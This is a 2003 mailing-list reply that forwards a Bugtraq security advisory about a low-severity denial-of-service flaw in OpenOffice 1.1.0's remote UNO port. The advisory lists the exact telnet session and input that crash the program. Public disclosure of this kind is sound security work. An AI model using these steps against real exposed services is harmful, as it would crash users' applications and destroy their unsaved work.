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  • From: Seth Woolley <seth AT tautology.org>
  • To: Craig Van Tassle <craig AT codestorm.org>
  • Cc: SM-Security AT lists.ibiblio.org
  • Subject: Re: [SM-Security] [Fwd: Openoffice 1.1.0 DoS]
  • Date: Wed, 8 Oct 2003 15:06:03 -0700 (PDT)

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Is there a patch available for it? I suppose we could tell people, "don't
do it if you don't want to lose your work" via a security announcement and
call it good. ;)

Seth

On Wed, 8 Oct 2003, Craig Van Tassle wrote:

>
>
> -------- Original Message --------
> Subject: Openoffice 1.1.0 DoS
> Date: Wed, 8 Oct 2003 13:15:10 +0200 (MES)
> From: Marc Schoenefeld <schonef AT uni-muenster.de>
> To: bugtraq AT securityfocus.com
>
> ================================
> Illegalaccess.org Security Alert
> ================================
>
> Date : 08/10/2003
> Application : Openoffice
> Version : 1.1.0
> Website : http://www.Openoffice.org
> Problems : Desktop Denial-Of-Service
> Severity : Low
> Contributor : Marc Schoenefeld, marc AT org.illegalaccess
>
> When enabling remote access (UNO) to OpenOffice,
> it opens a port (default 8100). This is done typically with
> the following command:
>
> C:\Programme\oo1.1.0\program> soffice
> "-accept=socket,host=<ip>,port=8100;urp;"
>
> where <ip> states the listening address
>
> When issuing the commands listed below, Openoffice crashes and
> prompts the error reporting box.
>
> ===================================================================
> C:\Dokumente und Einstellungen\User>telnet 127.0.0.1 8100
> Trying 127.0.0.1...
> Connected to 127.0.0.1.
> Escape character is '^]'.
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> 0
> ===================================================================
>
>
> --
>
> Never be afraid to try something new. Remember, amateurs built the
> ark; professionals built the Titanic. -- Anonymous
>
> Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
>
>
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